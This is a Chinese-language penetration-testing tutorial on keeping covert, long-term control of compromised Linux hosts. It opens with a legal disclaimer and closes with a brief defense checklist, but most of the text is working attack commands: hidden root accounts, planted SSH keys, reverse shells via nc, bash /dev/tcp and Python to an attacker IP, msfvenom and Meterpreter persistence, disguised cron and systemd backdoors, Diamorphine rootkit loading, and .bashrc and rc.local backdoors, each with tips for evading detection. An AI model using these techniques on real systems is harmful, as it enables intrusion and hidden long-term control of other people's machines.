用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
这次我们来讲述权限维持技术,权限维持的核心目标是长期、稳定、隐蔽地控制目标主机,避免因系统重启、账号清理、日志审计等操作丢失权限。以下从「系统账号」「后门程序」「服务 / 计划任务」「内核层」「环境与启动项」五大维度,系统梳理常见技术手段,并分析其隐蔽性与风险。
一、系统账号类维持
通过创建或篡改系统账号,实现长期登录,核心是 "让账号看起来合法,或难以被发现"。
1.1 隐藏管理员账号(UID=0)
Linux 中UID=0
即拥有 root 权限,可通过修改/etc/passwd
创建 "名不副实" 的管理员账号,甚至隐藏账号名。
- 原理 :
/etc/passwd
存储账号基本信息,格式为用户名:密码占位符:UID:GID:注释:家目录:shell
;若将普通用户名的UID/GID
改为 0,该用户即拥有 root 权限。 - 操作 :
-
直接编辑
/etc/passwd
,添加一行(注意密码哈希需提前生成,如用openssl passwd -1 密码
生成 MD5 哈希):bash# 正常账号(UID=1000) test:x:1000:1000:Test User:/home/test:/bin/bash # 隐藏管理员账号(UID=0,用户名前加空格,ls/useradd难以直接发现) [空格]admin:$1$abc123$xyz789:/0:0:Hidden Admin:/root:/bin/bash
-
-
登录时使用
[空格]admin
(输入时先敲空格)+ 密码,即可获取 root 权限。
-
- 隐蔽性 :常规命令(如
cat /etc/passwd | grep root
)无法匹配,需cat /etc/passwd
逐行查看;但id [空格]admin
或ls -l /home
仍可能暴露。
1.2 SSH 公钥持久化
通过将攻击者的 SSH 公钥写入目标主机的~/.ssh/authorized_keys
,实现免密码登录,隐蔽性高且抗重启。
-
原理 :SSH 默认优先验证
authorized_keys
中的公钥,若匹配则无需密码即可登录;即使目标修改 root 密码,公钥登录仍有效。 -
操作 :
-
攻击者本地生成 SSH 密钥对:
ssh-keygen -t rsa
(一路回车,生成~/.ssh/id_rsa
私钥和id_rsa.pub
公钥)。 -
-
-
将公钥上传到目标主机的 root 家目录(或其他高权限用户):
bash# 目标主机执行(确保.ssh目录权限为700,authorized_keys为600) mkdir -p /root/.ssh && chmod 700 /root/.ssh echo "攻击者的id_rsa.pub内容" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys
-
-
攻击者本地登录:
ssh root@目标IP
(无需输入密码)。
bashssh 用户@IP地址
-
-
隐蔽性优化 :
- 隐藏
authorized_keys
文件:将文件名改为/root/.ssh/authorized_keys2
(部分 SSH 配置支持,需确认sshd_config
的AuthorizedKeysFile
参数),或添加隐藏属性chattr +i /root/.ssh/authorized_keys
。
- 隐藏
1.3 sudo 免密配置
若仅获取普通用户权限,可通过修改sudoers
文件,让该用户免密执行 root 命令,实现 "低权限→高权限" 的持久化。
- 操作 :
-
编辑
sudoers
文件(必须用visudo
):visudo
。 -
添加一行(
test
为普通用户名,允许免密执行所有 root 命令):test ALL=(ALL) NOPASSWD: ALL
-
普通用户提权:
sudo su -
(无需输入密码,直接切换为 root)。
-
- 隐蔽性 :
sudo -l
可查看当前用户的 sudo 权限,需避免目标执行该命令;可限制仅允许免密执行特定命令(如/bin/bash
),降低暴露概率。
二、后门程序类维持
通过在目标主机部署后门程序,实现主动连接或被动监听,核心是 "规避杀软与进程检测"。
2.1 反向 Shell 后门
内网环境中,目标通常无法被外网直接访问,因此反向 Shell (目标主动连接攻击者)是主流选择,常见工具有nc
、bash
、python
等。
(1)Netcat 反向后门
- 原理 :
nc
(Netcat)是 "网络瑞士军刀",可建立 TCP/UDP 连接并绑定 Shell;需使用静态编译版 nc,且优先选择加密版本。 - 操作步骤 :
-
攻击者监听端口(如 8888):
nc -lvp 8888
(-l
监听,-v
详细输出,-p
指定端口)。 -
-
目标主机执行反向连接(绑定 bash):
bashnc -lvp 8888 # 在目标机执行(替换为你的攻击机IP和端口) rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.228.70.176 8888 > /tmp/f #rm -f /tmp/f; mkfifo /tmp/f:删除可能存在的旧管道文件,创建一个新的命名管道 /tmp/f。 cat /tmp/f | /bin/bash -i 2>&1:将管道的输入传递给交互式 bash(-i),并将 bash 的输出(包括错误 2>&1)传递给后续命令。 nc 10.228.70.176 8888 > /tmp/f:通过 nc 连接攻击机的 8888 端口,并将攻击机发送的命令写入管道 /tmp/f,形成双向通信。
-
-
- 隐蔽性优化 :
- 重命名
nc
为系统合法文件名(如/usr/bin/libnet.so
),避免被ps
直接发现。 - 后台运行:
nohup ./nc-static 攻击者IP 8888 -e /bin/bash &
(nohup
忽略挂断信号,&
后台运行)。
- 重命名
(2)无文件反向 Shell
无需上传nc
等工具,直接利用目标系统自带的bash
、python
、perl
等命令生成 Shell,规避文件检测。
-
示例 1:bash 反向 Shell (仅支持 bash 环境):
bashbash -i >& /dev/tcp/攻击者IP/8888 0>&1 # 解析:bash -i(交互Shell),将输出重定向到攻击者IP:8888,输入重定向到输出
-
-
-
示例 2:python 反向 Shell (目标需安装 python):
pythonpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
-
-
-
隐蔽性 :无落地文件,仅在进程列表中显示
bash
或python
,需结合进程隐藏技术(如下文的LD_PRELOAD
劫持)。
2.2 SSH 后门(替换 / 篡改 SSH 服务,持久化登录)
通过修改 SSH 服务配置或替换sshd
二进制文件,实现 "秘密登录",隐蔽性极高。
(1)SSH 密钥日志后门(记录合法用户密码 / 密钥)
- 原理 :修改
sshd
的 PAM(Pluggable Authentication Modules)配置,在用户登录时记录密码或公钥,无需替换sshd
二进制。 - 操作步骤 :
-
编辑 PAM 配置文件:
vi /etc/pam.d/sshd
,添加一行(记录登录信息到/tmp/ssh.log
):session required pam_exec.so /usr/local/bin/ssh-logger.sh
-
编写日志脚本
/usr/local/bin/ssh-logger.sh
(记录用户名、IP、时间):#!/bin/bash echo "$(date +%Y-%m-%d_%H:%M:%S) - User: $PAM_USER, IP: $PAM_RHOST" >> /tmp/ssh.log exit 0
-
赋予脚本权限:
chmod +x /usr/local/bin/ssh-logger.sh
,重启 sshd:systemctl restart sshd
。
-
- 隐蔽性 :
/etc/pam.d/sshd
是系统常规配置文件,难以发现;日志文件需隐藏(如/var/log/ssh/sshd.log
,伪装系统日志)。
(2)替换 sshd 二进制(植入后门,高权限控制)
- 原理 :使用开源 SSH 后门(如
OpenSSH后门
)替换系统默认的/usr/sbin/sshd
,实现 "特定密码 / 密钥登录",即使 root 密码修改仍有效。
2.3 Meterpreter/Cobalt Strike 后门
渗透测试工具(如 Metasploit、Cobalt Strike)提供成熟的 Linux 后门模块,支持持久化、加密传输、进程迁移,适合复杂内网环境。
(1)Metasploit 的 Linux 持久化模块
-
操作步骤 :
-
生成 Linux payload(反向连接):
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=8888 -f elf -o backdoor.elf
-
上传
backdoor.elf
到目标,执行获取 Meterpreter 会话:./backdoor.elf
。 -
在 Meterpreter 中执行持久化:
run persistence -X -i 30 -p 8888 -r 攻击者IP # -X:系统启动时自动运行,-i 30:每30秒重连,-p/-r:攻击者端口/IP
-
-
原理 :模块会在
/etc/rc.local
、crontab
等启动项中添加后门,实现开机自启。
(2)Cobalt Strike Beacon(企业级隐蔽后门)
- 特点 :支持
DNS/HTTP/HTTPS
隧道(穿透严格防火墙)、进程注入(避免独立进程被发现)、睡眠模式(降低资源占用),是内网后渗透的首选工具。 - 操作 :生成 Linux 格式的 Beacon(如
elf
文件),上传目标执行后,通过 C2 服务器控制,可直接在 Beacon 中执行persistence
命令配置持久化(如添加计划任务、系统服务)。
三、服务与计划任务类维持
利用 Linux 的系统服务(systemd
/sysvinit
)或计划任务(crontab
),实现 "开机自启、定时执行",隐蔽性依赖 "伪装成合法服务 / 任务"。
3.1 Crontab 计划任务(简单高效,最常用)
crontab
是 Linux 定时任务管理器,分为用户级 (crontab -e
)和系统级 (/etc/crontab
、/etc/cron.d/
),支持分钟 / 小时 / 日 / 月 / 周的定时执行。
(1)系统级定时任务(高权限,抗用户清理)
- 操作示例 :
-
编辑系统级 crontab:
vi /etc/crontab
,添加一行(每 10 分钟执行反向 Shell):*/10 * * * * root /usr/local/bin/backdoor.sh # 每10分钟,root用户执行
-
编写
backdoor.sh
(反向连接脚本,需隐藏路径和文件名):#!/bin/bash # 检查后门是否已运行,避免重复启动 if ! ps aux | grep "nc-static" | grep -v grep; then /usr/local/bin/nc-static 攻击者IP 8888 -e /bin/bash & fi
-
赋予权限:
chmod +x /usr/local/bin/backdoor.sh
,重启 crond 服务:systemctl restart crond
。
-
- 隐蔽性优化 :
- 伪装任务注释:在
/etc/crontab
中添加类似系统任务的注释(如# 定时清理日志
)。 - 隐藏脚本路径:将
backdoor.sh
放在/usr/lib
、/usr/bin
等系统目录,重命名为libclean.sh
。
- 伪装任务注释:在
(2)用户级定时任务(低权限,不易被系统管理员发现)
- 普通用户执行
crontab -e
,添加定时任务(语法与系统级一致),适合仅获取普通权限的场景;若该用户有sudo
权限,可定时执行sudo
命令提权。
3.2 Systemd 服务持久化
systemd
是主流 Linux 发行版(如 CentOS 7+、Ubuntu 16+)的系统初始化系统,通过*.service
文件管理服务,支持开机自启、进程监控(崩溃自动重启)。
-
操作步骤 :
-
创建服务文件(如
/lib/systemd/system/network-monitor.service
,伪装 "网络监控服务"):[Unit] Description=Network Monitor Service # 伪装描述 After=network.target # 网络启动后运行 [Service] Type=simple ExecStart=/usr/local/bin/backdoor.elf # 后门程序路径 Restart=always # 进程崩溃后自动重启 RestartSec=5 # 崩溃后5秒重启 [Install] WantedBy=multi-user.target # 多用户模式下启动
-
启用并启动服务:
systemctl daemon-reload # 重新加载服务配置 systemctl enable network-monitor.service # 开机自启 systemctl start network-monitor.service # 立即启动
-
-
隐蔽性 :
systemctl list-units --type=service
可查看所有服务,需确保服务名和描述与系统合法服务相似(如networkd
、syslog
);可通过systemctl mask
隐藏服务(不推荐,易触发告警)。
四、内核层维持
通过加载内核模块(LKM)后门 或植入Rootkit ,直接控制 Linux 内核,绕过用户态检测工具(如ps
、top
、netstat
),隐蔽性最高,但技术门槛也最高。
4.1 LKM Rootkit(加载内核模块,隐藏进程 / 端口)
LKM(Loadable Kernel Module)是可动态加载到内核的模块,Rootkit 通过修改内核函数(如sys_getdents
、sys_getpid
),实现 "进程隐藏、端口隐藏、日志篡改"。
常见 LKM Rootkit 工具
工具名称 | 支持内核版本 | 核心功能 | 风险 |
---|---|---|---|
Knark | Linux 2.4.x/2.6.x | 隐藏进程、文件、端口,日志清理 | 仅支持老旧内核,现代内核(3.x+)兼容性差 |
Adore-ng | Linux 2.6.x/3.x | 隐藏进程、文件,提权,端口转发 | 需关闭内核安全机制(如 SMAP/SMEP) |
Diamorphine | Linux 2.6.x-5.x | 支持新内核,隐藏进程、文件、模块,反调试 | 开源,易被 EDR 检测特征 |
操作原理
-
编译 LKM Rootkit(需匹配目标内核版本,安装
kernel-devel
):make # 编译生成diamorphine.ko(内核模块文件)
-
加载模块(需 root 权限,且内核允许加载未签名模块):
insmod diamorphine.ko # 加载模块
-
隐藏进程(以
backdoor.elf
为例):echo "hide 1234" > /proc/diamorphine # 1234为backdoor.elf的PID
- 隐蔽性 :用户态工具(如
ps
、lsmod
)无法检测到隐藏的进程和模块;但需绕过内核安全机制(如Secure Boot
、内核签名验证),现代 Linux 系统默认启用这些机制,加载 LKM 难度较大。
五、环境与启动项类维持
通过修改系统启动文件或环境变量,实现 "用户登录 / 系统启动时自动执行后门",适合低权限场景。
5.1 登录 Shell 配置文件(用户登录触发)
Linux 用户登录时,会自动执行~/.bashrc
、~/.bash_profile
、/etc/profile
等配置文件,可在这些文件中植入后门命令。
-
操作示例 :
-
编辑 root 用户的
~/.bashrc
(仅 root 登录时触发):# 在文件末尾添加(隐藏后门命令,用注释伪装) # 系统环境变量初始化(伪装注释) if [ -f /usr/local/bin/sysinit.sh ]; then /usr/local/bin/sysinit.sh & fi
-
编写
/usr/local/bin/sysinit.sh
(反向 Shell 脚本):#!/bin/bash nohup nc 攻击者IP 8888 -e /bin/bash &
-
-
隐蔽性 :
cat ~/.bashrc
可查看配置,需避免目标手动检查;可仅在普通用户的配置文件中植入(如/home/test/.bashrc
),降低被系统管理员发现的概率。
5.2 /etc/rc.local
/etc/rc.local
是系统启动的最后一步执行的脚本(需exec /etc/rc.d/rc.local
启用),适合所有用户登录前触发后门。
- 操作示例 :
-
编辑
/etc/rc.local
,在exit 0
前添加:# 启动系统监控服务(伪装注释) /usr/local/bin/backdoor.elf &
-
赋予执行权限:
chmod +x /etc/rc.local
,启用服务(CentOS 7+):systemctl enable rc-local.service systemctl start rc-local.service
-
六、权限维持的核心防御
理解攻击手段的同时,需掌握防御方法,避免自身系统被入侵后权限维持:
- 账号安全 :
- 定期审计
/etc/passwd
、/etc/shadow
,检查异常 UID=0 账号; - 禁用 SSH 公钥登录(或仅允许特定 IP),定期清理
~/.ssh/authorized_keys
; - 严格控制
sudoers
权限,避免普通用户免密提权。
- 定期审计
- 进程与文件监控 :
- 使用
ps aux
、netstat -tulnp
定期检查异常进程和端口; - 监控
/usr/bin
、/usr/lib
、/tmp
等目录的异常文件,对比文件 MD5 哈希与官方值。
- 使用
- 日志审计 :
- 启用
auditd
服务,监控/etc/passwd
、/etc/crontab
、sshd
等核心文件 / 服务的修改; - 定期检查
/var/log/auth.log
(SSH 登录)、/var/log/cron
(计划任务)、/var/log/messages
(系统日志)的异常记录。
- 启用
- 内核安全 :
- 启用
Secure Boot
(阻止未签名内核模块加载)、SMAP/SMEP
(防止内核空间与用户空间数据访问); - 定期更新内核,修复已知 LKM Rootkit 利用的漏洞。
- 启用
- 终端防护 :
- 部署 EDR(终端检测与响应)工具,如
Falcon
、EDR for Linux
,检测反向 Shell、异常进程注入等行为。
- 部署 EDR(终端检测与响应)工具,如